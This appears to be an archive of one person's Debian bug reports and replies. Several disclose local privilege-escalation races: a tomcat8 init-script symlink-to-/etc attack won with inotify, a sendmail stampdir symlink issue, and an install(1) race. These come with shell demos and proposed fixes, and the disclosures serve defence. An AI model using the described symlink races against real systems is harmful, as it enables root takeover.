Dear Andreas, > I have a completely untested patch sitting in GIT - do you have a > possibility to test packages built from that? I could replace files, or DEB packages, on some test machines. Do not know whether that testing would be exhaustive: do not know how many features of the sendmail package I use. Or if the changes are "small" then could just inspect. Cheers, Paul
Bug#841371: /usr/bin/install: should use fchown, fchmod
Package: coreutils
Version: 8.23-4
Severity: important
File: /usr/bin/install
The install command is vulnerable to a race condition.
If used by root to create a file in a directory writable to users or
groups other than root, then after install creates the file, the file
just created could be replaced by a symlink: then lchown() would act on
the symlink itself, and chmod() would act on the target of the symlink.
Seems it would be better for install to use fchown() and fchmod():
safer, more robust, and maybe more efficient.
Using strace shows that install does:
open("target", O_WRONLY|O_CREAT|O_EXCL|O_LARGEFILE, 0600) = 4
[write content with write(4,...)] ...
fchmod(4, 0600) = 0
close(4)= 0
lchown32("target", UID, GID)= 0
chmod("target", MODE) = 0
The last two commands should be changed into fchown() and fchmod(),
and moved to be prior to the close().
Would it help it I submitted patches?
Thanks, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
-- System Information:
Debian Release: 8.6
APT prefers stable
APT policy: (500, 'stable')
Architecture: i386 (x86_64)
Kernel: Linux 3.16.7-ckt20-pk07.18-amd64 (SMP w/32 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)
Versions of packages coreutils depends on:
ii libacl1 2.2.52-2
ii libattr1 1:2.4.47-2
ii libc62.19-18+deb8u6
ii libselinux1 2.3-2
coreutils recommends no packages.
coreutils suggests no packages.
-- no debconf information
Bug#841257: sendmail: Privilege escalation from group smmsp to (user) root
Hmm (again) ... Maybe file /usr/share/sendmail/sendmail needs updating also? It is almost identical to /etc/init.d/sendmail, and in file /etc/cron.daily/sendmail I notice the lines: ... #-- # Every so often, give sendmail a chance to run the MSP queues. */20 **** smmsp test -x /etc/init.d/sendmail && /usr/share/sendmail/sendmail cron-msp # #-- # Every so often, give sendmail a chance to run the MTA queues. # Will also run MSP queues if enabled #*/10 **** roottest -x /etc/init.d/sendmail && /usr/share/sendmail/sendmail cron-mta ... Maybe no problem as long as that second line is commented out. I wonder about the first line (whether it is needed), seeing how my machines always have a process like: USER PID %CPU %MEMVSZ RSS TTY STAT START TIME COMMAND smmsp 2880 0.0 0.0 11956 3236 ?Ss Oct11 0:00 sendmail: Queue runner@00:10:00 for /var/spool/mqueue-client running. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#841257: sendmail: Privilege escalation from group smmsp to (user) root
Hmm... you may also need to (once) do: chown smmsp /var/run/sendmail/stampdir/reload when adopting my patch. Cheers, Paul
Bug#841257: sendmail: Privilege escalation from group smmsp to (user) root
Package: sendmail
Version: 8.14.4-8+deb8u1
Severity: grave
Tags: patch security
Justification: user security hole
Supposing that due to some bug in sendmail, we were able to execute
commands as group smmsp, then that might be leveraged to cause root
to create any (empty) file.
The directory /var/run/sendmail/stampdir is group-smmsp-writable, so
we (as group smmsp) could create symlinks there pointing to any name.
Then when /etc/init.d/sendmail was run as root (to restart the daemon
maybe?), one or another of the symlinks
/var/run/sendmail/stampdir/reload
/var/run/sendmail/stampdir/cron_msp
/var/run/sendmail/stampdir/cron_mta
/var/run/sendmail/stampdir/cron_msp
might be followed to create an empty file.
Lines in /etc/init.d/sendmail:
...
110 SENDMAIL_ROOT='/var/run/sendmail';
...
144 STAMP_DIR="${SENDMAIL_ROOT}/stampdir";
...
246 touch $STAMP_DIR/reload;
...
367 touch $STAMP_DIR/reload;
...
900 touch $STAMP_DIR/cron_msp;
...
912 touch $STAMP_DIR/cron_mta;
...
938 touch $STAMP_DIR/cron_msp;
...
1130 if [ ! -d "${STAMP_DIR}" ]; then
1131 mkdir -p "${STAMP_DIR}";
1132 chown root:smmsp "${STAMP_DIR}";
1133 chmod 02775 "${STAMP_DIR}";
1134 fi;
...
Things missing to make a "convincing" exploit:
- a way to "get" group smmsp: there have not been such issues for some
years now;
- how to trick the sysadmin into restarting sendmail;
- under what conditions would any of those "touch" lines be run;
- a way to "get root" by creating some empty file: damage can be done
with /etc/nologin, maybe some exploitation with /etc/hosts.deny.
Seems this issue has low priority.
My suggested fix:
$ diff /etc/init.d/sendmail.bak <---> /etc/init.d/sendmail
246c246
< touch $STAMP_DIR/reload;
---
> su smmsp -s /bin/bash -c "touch $STAMP_DIR/reload";
367c367
< touch $STAMP_DIR/reload;
---
> su smmsp -s /bin/bash -c "touch $STAMP_DIR/reload";
900c900
< touch $STAMP_DIR/cron_msp;
---
> su smmsp -s /bin/bash -c "touch
> $STAMP_DIR/cron_msp";
912c912
< touch $STAMP_DIR/cron_mta;
---
> su smmsp -s /bin/bash -c "touch $STAMP_DIR/cron_mta";
938c938
< touch $STAMP_DIR/cron_msp;
---
> su smmsp -s /bin/bash -c "touch
> $STAMP_DIR/cron_msp";
Cheers, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: TOCTOU race condition in initscript on chown'ing JVM_TMP temporary directory (was: Re: Bug#840685: tomcat8: DSA-3670 incomplete)
Dear Salvatore, > You are operating here outside of /tmp (sticky world-writable > directory) which the above issue for the init scripts relies on, > right? fs.protected_(hardlinks|symlinks) is exactly a hardening for > those issues: > https://www.kernel.org/doc/Documentation/sysctl/fs.txt I see: the kernel now treats things in /tmp (with sticky bit permissions) differently from other places (without "weird" permissions). Thanks for pointing this out for me! (I never noticed this change...) Then I agree that this issue is not exploitable in default Debian, no need for DSA. (Sorry about the noise.) Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: tomcat8: DSA-3670 incomplete
Dear Markus, Sorry to reply again. > ... But there is another rm -rf "$JVM_TMP" command in the stop target > that would remove your symlink again. I now see what you mean. There is an rm when you "stop" tomcat, and another in the "start"; so maybe there are two in restart. No matter: I watch (with inotify), keep watch and keep watching, and put in a symlink to /etc soon as I can, anytime and every time I can. So I will create a symlink after the rm during stop, a wasted thing, present between your stop and start; then during start you rm, I create the symlink, you do the useless "mkdir -p" and you chown; I win. For your test, you took the rm out of your script: you should see /etc being chowned to tomcat8. Please confirm. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: tomcat8: DSA-3670 incomplete
Dear Markus, > First of all you can only gain write permissions as the tomcat8 user if > you exploit an yet unknown security vulnerability in a web application > or Tomcat itself. Debian's tomcat8 user has no shell access by default. Yes, this is a privilege escalation issue: exactly as in DSA-3670. > So the server must be running ... No, you are wrong. Once I managed run-any-code-as-tomcat8 from the running server, I set up something to run in the background, to keep running after the server exited. > ... and somehow you managed to remove /tmp/tomcat8-tomcat8-tmp and > replaced the directory with a symlink to an arbitrary file. No I do not remove anything. You do the remove, I create the symlink after you removed (and before you attempt the mkdir). > Your attack vector requires that the server must be restarted. ... Yes, exactly as in DSA-3670. > ... But there is another rm -rf "$JVM_TMP" command in the stop target > that would remove your symlink again. No, not another rm. I create the symlink after your rm. > Ok, let's imagine that you could find a way around the rm -rf commands. > Let's remove those rm -rf "$JVM_TMP" calls in /etc/init.d/tomcat8. Then > run systemctl daemon-reload. Log in as tomcat8 user and create your > symlink for /tmp/tomcat8-tomcat8-tmp. If I run systemctl restart tomcat8 > now, I get this: > > Job for tomcat8.service failed because the control process exited with > error code. > > The symlink is still present and nothing has changed regarding the file > permissions for my arbitrary file. You created the wrong symlink: not to a random place and not to a file, but a symlink to /etc (an existing directory). Please try again. > I agree that we should improve the init script in this regard but I > actually don't see a major risk like a root escalation for users at the > moment and I suggest to lower the severity of this bug report to important. Do the right test, please. You will see /etc owned by tomcat8, that effectively gives root access. >> What response time should I have expected of team@security? You had >> close to a whole day... > In my opinion it is generally understood that you should give people at > least enough time to react to an e-mail and to assess the issue. > Expecting a response time in less than a day is not very reasonable, > especially when there are things like the time difference between > Australia and Europe. You can do better, if you try. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: tomcat8: DSA-3670 incomplete
Dear Salvatore, > ... if the attacher created a symlink between the rm and the mkdir > then mkdir will still fail with -p on a symlink. (Or do I miss > something?). ... Yes, you missed a simple test: $ mkdir mydir $ ln -s mydir mylink $ ls -ld my* drwx-- 2 psz amstaff 4096 Oct 14 18:46 mydir lrwxrwxrwx 1 psz amstaff5 Oct 14 18:46 mylink -> mydir $ mkdir -p mylink || echo failed $ mkdir -p mylink; echo $? 0 $ mkdir mylink || echo failed mkdir: cannot create directory `mylink': File exists failed $ mkdir mylink; echo $? mkdir: cannot create directory `mylink': File exists 1 $ ls -ld my* drwx-- 2 psz amstaff 4096 Oct 14 18:46 mydir lrwxrwxrwx 1 psz amstaff5 Oct 14 18:46 mylink -> mydir $ showing that "mkdir -p" does not fail (but plain mkdir does). > On the practicality for Debian systems though this is mitigated by the > Kernel hardenings which are enabled by default: > > fs.protected_hardlinks=1 > fs.protected_symlink=1 > > which will prevent that the target of the symlink in /tmp will be > changed on the chown call. Another missing test (besides: who is changing anything?): # grep . /proc/sys/fs/prot* /proc/sys/fs/protected_hardlinks:1 /proc/sys/fs/protected_symlinks:1 # cd ~psz # ls -ld my* drwx-- 2 psz amstaff 4096 Oct 14 18:46 mydir lrwxrwxrwx 1 psz amstaff5 Oct 14 18:46 mylink -> mydir # chown mike mylink # ls -ld my* drwx-- 2 mike amstaff 4096 Oct 14 18:46 mydir lrwxrwxrwx 1 psz amstaff5 Oct 14 18:46 mylink -> mydir # > So while I think it should be fixed, this would not warrant a DSA, > since mitigated by default in Debian. No mitigation: fix and DSA, please! --- What response time should I have expected of team@security? You had close to a whole day... compared to that, Markus replied within the hour to the Debian bug. (But he did not yet reply to my next, private bug/message... seems public messaging works best!) Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: tomcat8: DSA-3670 incomplete
Dear Markus, >> [ I contacted t...@security.debian.org about this, but no response ... ] > ... Please send them to the security team > first and not to a public mailing list. I did. They did not reply within what seemed a reasonable timeframe. >> Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so... > No, we did not modify this part in /etc/init.d/tomcat8. ... Whoops, sorry, you are right. Now checking, I do not see how I got confused. This is a separate, maybe new issue. > ... more information and a working proof > of concept code are appreciated. ... Maybe the security team will understand (recognize, accept) the issue without a PoC. If they reply with such a need, then I will write one. You or they might accept the suggested patch/fix: mkdir without -p, chown with -h. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#840685: tomcat8: DSA-3670 incomplete
Package: tomcat8
Version: 8.0.14-1+deb8u3
Severity: critical
Tags: security
Justification: root security hole
[ I contacted t...@security.debian.org about this, but no response ... ]
Recently DSA-3670 was released, and /etc/init.d/tomcat8 modified so:
...
NAME=tomcat8
...
JVM_TMP=/tmp/tomcat8-$NAME-tmp
...
# Remove / recreate JVM_TMP directory
rm -rf "$JVM_TMP"
mkdir -p "$JVM_TMP" || {
log_failure_msg "could not create JVM temporary
directory"
exit 1
}
chown $TOMCAT8_USER "$JVM_TMP"
...
That suffers from a TOCTOU race condition.
An attacker can, after the "rm -rf", create a symlink to /etc. Then
"mkdir -p" returns success (though does nothing); and chown follows
the symlink. That is "game over": ability to replace /etc/passwd.
The attacker can use inotify and act quickly, and have a good chance
of winning the race to create the symlink before the init.d script
starts a new mkdir process.
Do you need some working PoC code?
---
The script should be made more robust by using "chown -h". (This would
protect against the above attack.)
The script should use plain mkdir without "-p": not needed as we create
a single directory, and should not be used to let mkdir return failure.
(This may make it safe.)
Cheers, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
-- System Information:
Debian Release: 8.6
APT prefers stable
APT policy: (500, 'stable')
Architecture: i386 (x86_64)
Kernel: Linux 3.16.36-pk07.24-amd64 (SMP w/2 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)
Versions of packages tomcat8 depends on:
ii adduser3.113+nmu3
ii debconf [debconf-2.0] 1.5.56
ii tomcat8-common 8.0.14-1+deb8u3
ii ucf3.0030
Versions of packages tomcat8 recommends:
pn authbind
Versions of packages tomcat8 suggests:
pn libtcnative-1
pn tomcat8-admin
pn tomcat8-docs
pn tomcat8-examples
pn tomcat8-user
-- Configuration Files:
/etc/init.d/tomcat8 changed [not included]
/etc/tomcat8/catalina.properties [Errno 13] Permission denied:
u'/etc/tomcat8/catalina.properties'
/etc/tomcat8/context.xml [Errno 13] Permission denied:
u'/etc/tomcat8/context.xml'
/etc/tomcat8/logging.properties [Errno 13] Permission denied:
u'/etc/tomcat8/logging.properties'
/etc/tomcat8/policy.d/01system.policy [Errno 13] Permission denied:
u'/etc/tomcat8/policy.d/01system.policy'
/etc/tomcat8/policy.d/02debian.policy [Errno 13] Permission denied:
u'/etc/tomcat8/policy.d/02debian.policy'
/etc/tomcat8/policy.d/03catalina.policy [Errno 13] Permission denied:
u'/etc/tomcat8/policy.d/03catalina.policy'
/etc/tomcat8/policy.d/04webapps.policy [Errno 13] Permission denied:
u'/etc/tomcat8/policy.d/04webapps.policy'
/etc/tomcat8/policy.d/50local.policy [Errno 13] Permission denied:
u'/etc/tomcat8/policy.d/50local.policy'
/etc/tomcat8/server.xml [Errno 13] Permission denied: u'/etc/tomcat8/server.xml'
/etc/tomcat8/tomcat-users.xml [Errno 13] Permission denied:
u'/etc/tomcat8/tomcat-users.xml'
/etc/tomcat8/web.xml [Errno 13] Permission denied: u'/etc/tomcat8/web.xml'
-- debconf information excluded
Bug#775541: NFS mounts fail at boot after Debian 8.5 upgrade
Dear Vincent, > Could you provide a bit more information about the package versions > on your system? > dpkg -l rpcbind nfs-common nfs-kernel-server systemd psz@como:~$ dpkg -l rpcbind nfs-common nfs-kernel-server systemd Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-=-=-=-=== ii nfs-common1:1.2.8-9 i386 NFS support files common to client and server ii nfs-kernel-server 1:1.2.8-9 i386 support for NFS kernel server ii rpcbind 0.2.1-6+deb8u1i386 converts RPC program numbers into universal addresses ii systemd 215-17+deb8u4.psz i386 system and service manager The systemd packages are my "own", with my (trivial!) patches as per https://bugs.debian.org/803013 > Also I think the output of these commands would be helpful > systemd-analyze critical-path remote-fs-pre.target > systemd-analyze critical-path nfs-kernel-server.service I think you meant critical-chain: psz@como:~$ systemd-analyze critical-chain remote-fs-pre.target ... remote-fs-pre.target @98ms psz@como:~$ systemd-analyze critical-chain nfs-kernel-server.service ... nfs-kernel-server.service +223ms basic.target @4.819s timers.target @4.818s systemd-tmpfiles-clean.timer @4.818s sysinit.target @4.816s console-setup.service @4.813s +1ms kbd.service @4.753s +58ms system.slice @108ms -.slice @103ms Cheers, Paul
Bug#775541: NFS mounts fail at boot after Debian 8.5 upgrade
After upgrading from Debian jessie 8.4 to 8.5, my NFS mounts in fstab failed at boot (or reboot) time. To fix, I changed the one file /lib/systemd/system/remote-fs-pre.target adding the line After=rpcbind.target then my NFS mounts work correctly. Question: should I have used After=rpcbind.service instead? Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#735014: closed by Debian FTP Masters (Bug#811158: Removed package(s) from unstable)
Superb solution... NOT! The change in mysqlhotcopy between 5.5 and 5.6 is that you added the warning "deprecated and will be removed in a future": so I am sure it still does not work. I guess this bug should be re-parented to mysql-server-5.6. Maybe I can figure out how to do that... Are you telling me that bugs in mysql 5.5 cannot be reported anymore? It is in use on jessie, so will be "live" for a while still. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#740020: xpdf: printing fails with Floating point exception
Issue seems fixed in jessie. Please close/resolve bug. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
tags 803013 - fixed-upstream usertags 803013 - status-closed thanks I wrote: Please re-do your tags, or may I set tags myself? and received no response. Trying to do myself, please see discussion within bug report for reasons. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: Processed: [bts-link] source package systemd
Someone wrote: >> # remote status report for #803013 (http://bugs.debian.org/803013) >> # Bug title: systemd should not destroy application created cgroups >> # * https://github.com/systemd/systemd/issues/1872 >> # * remote status changed: (?) -> closed >> # * closed upstream >> tags 803013 + fixed-upstream > Bug #803013 [systemd] systemd should not destroy application created cgroups > Added tag(s) fixed-upstream. >> usertags 803013 + status-closed > There were no usertags set. > Usertags are now: status-closed. Sorry but in fact things are NOT "fixed upstream". Please re-do your tags, or may I set tags myself? Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: Processed: bug 803013 is forwarded to https://github.com/systemd/systemd/issues/1872
> forwarded 803013 https://github.com/systemd/systemd/issues/1872 Is forwarded to an issue marked not-supported and closed. I wonder whether fixes are forthcoming? :-( Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#755048: Could not get screen information
> Anybody got a work around ... ? Use arandr (or xrandr): works fine for me. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#736666: /usr/lib/sm.bin/mail.local: lockmailbox failed code 75 EX_TEMPFAIL
I now verified that I get good results by changing mail.local.c (within
sendmail or sendmail-bin) as per patch below. My patch only addresses
the issue of locking the /var/mail/USER file (with minimal changes to
code); does not attempt to better handle group quotas, nor to improve
security by giving up privileges early.
Please consider adopting this patch or some similar change.
Please re-assign this bug back to sendmail.
---
I am curious as to how does mail ever work for others: am I the last one
still using sendmail and mail.local for local delivery?
Thanks, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
==
diff -r -U10 a/mail.local/mail.local.c b/mail.local/mail.local.c
--- a/mail.local/mail.local.c 2015-12-23 13:12:41.0 +1100
+++ b/mail.local/mail.local.c 2015-12-23 21:15:56.0 +1100
@@ -1408,24 +1408,52 @@
*/
bool Locked = false;
#ifdef MAILLOCK
int
lockmbox(name)
char *name;
{
int r = 0;
+/*
+ * Often we get here with RUID=0 EUID=user (why?!) and maillock()
+ * (or /usr/bin/dotlockfile within?) does not like that, can cope
+ * with RUID=user EUID=0 instead. Swap them... then swap back.
+ * Wonder whether could (should!) have given up all privileges,
+ * even setting "correct" GIDs, long ago...
+ */
+ uid_t ruid,euid;
+ int swapped = 0;
if (Locked)
return 0;
- if ((r = maillock(name, 15)) == L_SUCCESS)
+
+ ruid = getuid();
+ euid = geteuid();
+ /* syslog(LOG_ERR, "Before maillock had r=%d e=%d", (int)getuid(),
(int)geteuid()); */
+ if ((int)ruid == 0 && (int)euid != 0)
+ {
+ (void)setreuid(euid,ruid);
+ /* syslog(LOG_ERR, "Swapped, now r=%d e=%d", (int)getuid(),
(int)geteuid()); */
+ swapped = 1;
+ }
+
+ r = maillock(name, 15);
+
+ if (swapped)
+ {
+ (void)setreuid(ruid,euid);
+ /* syslog(LOG_ERR, "Swapped back r=%d e=%d", (int)getuid(),
(int)geteuid()); */
+ }
+
+ if (r == L_SUCCESS)
{
Locked = true;
return 0;
}
switch (r)
{
case L_TMPLOCK: /* Can't create tmp file */
case L_TMPWRITE: /* Can't write pid into lockfile */
case L_MAXTRYS: /* Failed after retrycnt attempts */
errno = 0;
@@ -1438,22 +1466,41 @@
errno = 0;
r = EX_UNAVAILABLE;
break;
}
return r;
}
void
unlockmbox()
{
+ uid_t ruid,euid;
+ int swapped = 0;
+
if (Locked)
+ {
+ ruid = getuid();
+ euid = geteuid();
+ /* syslog(LOG_ERR, "Before mailunlock had r=%d e=%d",
(int)getuid(), (int)geteuid()); */
+ if ((int)ruid == 0 && (int)euid != 0)
+ {
+ (void)setreuid(euid,ruid);
+ /* syslog(LOG_ERR, "Swapped, now r=%d e=%d",
(int)getuid(), (int)geteuid()); */
+ swapped = 1;
+ }
mailunlock();
+ if (swapped)
+ {
+ (void)setreuid(ruid,euid);
+ /* syslog(LOG_ERR, "Swapped back r=%d e=%d",
(int)getuid(), (int)geteuid()); */
+ }
+ }
Locked = false;
}
#else /* MAILLOCK */
char LockName[MAXPATHLEN];
int
lockmbox(path)
char *path;
{
Bug#736666: /usr/lib/sm.bin/mail.local: lockmailbox failed code 75 EX_TEMPFAIL
Now at jessie, I find that my "strace trick" does not work anymore.
Testing with my cutdown code suggests that the culprit may be the
... setreuid(0,uid) ...
in original mail.local, as changing that to either of
setreuid(uid,0)
setreuid(uid,uid)
allows maillock() to succeed.
The comments in mail.local were that it changed UID to better handle
quota checks. But then:
- should not it change GID also?
- do quotas go by real or effective IDs?
So many questions... more digging required.
Test code below: cut down long ago from mail.local, not yet verified
whether mail.local code changed since.
Cheers, Paul
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
=
/*
Testing code mimicking sendmail mail.local .
Compile with
cc mytest.c -llockfile
Fails if we use
... setreuid(0, uid) ...
as in original mail.local, but succeeds with either
... setreuid(uid, 0) ...
or
... setreuid(uid, uid) ...
so maybe bug is in sendmail, after all.
*/
#include
#include
#include
#include
#include
int
main(argc, argv)
int argc;
char *argv[];
{
/* name and UID of some plain user */
char *p = "psz";
uid_t uid = 1001;
int off;
/* use a reasonable umask */
(void) umask(0077);
/* This was setreuid(0,uid) in original sendmail mail.local */
/* change UID for quota checks */
if (setreuid(uid, uid) < 0)
{
printf("450 setreuid(0, %d) errno=%d (r=%d, e=%d)\n",
(int) uid, errno, (int) getuid(), (int) geteuid());
exit(1);
}
/* printf("Before:\n"); system("ls -al /var/mail"); */
if ((off = maillock(p, 15)) != 0)
{
printf("lockmailbox %s code %d errno=%d\n", p, off, errno);
}
/* printf("During:\n"); system("ls -al /var/mail"); */
mailunlock();
/* printf("After:\n"); system("ls -al /var/mail"); */
}
Bug#807081: Does not set TCP_NODELAY on X11 forward
Sorry, I was wrong... sshd sets TCP_NODELAY correctly: not on the listening socket, but after accept(). What it does not set is IPTOS_LOWDELAY ... but maybe that is not useful anyway. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#807081: openssh-server: Does not set TCP_NODELAY on X11 forward
Package: openssh-server Version: 1:6.7p1-5 Severity: normal Seems to me that sshd should, but does not, set TCP_NODELAY on the port used for X11 forwarding. I am not sure about other forwarded ports; sshd seems to set TCP_NODELAY and also IPTOS_LOWDELAY on the "command" connection only. Quoting from http://www.openssh.com/txt/release-3.1 - TCP_NODELAY set on X11 and TCP forwarding endpoints Is this a bug that could be fixed? Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 8.2 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (x86_64) Kernel: Linux 3.16.7-ckt11-pk07.14-amd64 (SMP w/8 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Init: systemd (via /run/systemd/system) Versions of packages openssh-server depends on: ii adduser3.113+nmu3 ii debconf [debconf-2.0] 1.5.56 ii dpkg 1.17.26 ii init-system-helpers1.22 ii libc6 2.19-18+deb8u1 ii libcomerr2 1.42.12-1.1 ii libgssapi-krb5-2 1.12.1+dfsg-19+deb8u1 ii libkrb5-3 1.12.1+dfsg-19+deb8u1 ii libpam-modules 1.1.8-3.1 ii libpam-runtime 1.1.8-3.1 ii libpam0g 1.1.8-3.1 ii libselinux12.3-2 ii libssl1.0.01.0.1k-3+deb8u1 ii libwrap0 7.6.q-25 ii lsb-base 4.1+Debian13+nmu1 ii openssh-client 1:6.7p1-5 ii openssh-sftp-server1:6.7p1-5 ii procps 2:3.3.9-9 ii zlib1g 1:1.2.8.dfsg-2+b1 Versions of packages openssh-server recommends: ii ncurses-term 5.9+20140913-1 ii xauth 1:1.0.9-1 Versions of packages openssh-server suggests: pn molly-guard pn monkeysphere pn rssh pn ssh-askpass pn ufw -- debconf information excluded
Bug#803013: systemd should not destroy application created cgroups
Dear Julian, Thank you for the various pointers. > You set Delegate=yes for the unit ... That does not seem available yet in jessie. > The kernel cgroups implementation moved or is moving to a > single-writer, single-hierarchy implementation ... It does not seem to have moved yet in jessie. > ... user space daemon arbiter. systemd implements such an arbiter. It should permit nominating some other arbiter, and does not seem to have any plans to do that. > While the kernel probably still allows for multiple hierarchies in > order to not break the user space interface, they should not be used > anymore. Systemd has not yet implemented the cgrules functionality I require. > [Delegate=yes] is a mid-term workaround, and will be dropped ... OK. --- What should I use now for cgrules, and what in the future? Why is the conflict between the systemd and cgroup-tools packages not explicit in Debian packaging? --- About the patch I proposed. It seems wrong to pass empty strings. The code contains assert(pto) etc to protect against NULL pointers, seems an oversight to not have assert(strlen(pto)) also. My patch handles the case of empty strings (though does not go deep enough to find their origin). Would not my patch make systemd more robust? Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
Progress? For my efforts upstream, I got the comment: > Sorry, but systemd implements a single-writer cgroup logic (as > requested by the kernel maintainers), and hence takes possesion of the > whole tree. ... I observe it only uses the /sys/fs/cgroup/systemd tree. (I wonder about the "req by kernel" comment.) > ... If you want your own cgroup tree to manage, use the "Delegate=yes" > feature in a service or scope, but otherwise systemd is in exclusive > control. Do we have that? Can we have it everywhere? Can we have it by default, should not it be so? > Sorry, but multiple access to the cgroup tree is simply not supported. Not if we let systemd take over the world. --- Sorry, I do not think I am willing to fight the war upstream. (Knowing full well that then maybe Linux will turn to mush, and that to escape this dictatorship we will all seek shelter under the MS umbrella.) Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
Dear Michael, > I would suggest that you raise this upstream ... Done, see: https://github.com/systemd/systemd/issues/1872 Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
severity 803013 critical tag 803013 - moreinfo unreproducible + confirmed thanks Dear Michael, You did not reply for a week, so I am trying to set tags myself. Also, while doing this, am trying to set severity back to "critical": this bug does break unrelated software. --- For the record: the following steps will reproduce the issue, on a freshly-installed jessie machine: - Run command dpkg-reconfigure libpam-runtime and de-select the [ ] Register user sessions in the systemd control group hierarchy option; then reboot. - Log in to the machine; probably not via GDM3 as that might not work at all; not via getty as then the issue will not show(?!!); but log in via XDM, or via telnetd or sshd. - Become root (log in as such, or use su). - As root, do commands: # Set things up mkdir /sys/fs/cgroup/cpu/mytest echo $$ > /sys/fs/cgroup/cpu/mytest/tasks # Check it is there grep . /sys/fs/cgroup/cpu/mytest/tasks # Do the systemd thing systemctl daemon-reload systemctl start anacron # See it gone grep . /sys/fs/cgroup/cpu/mytest/tasks Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
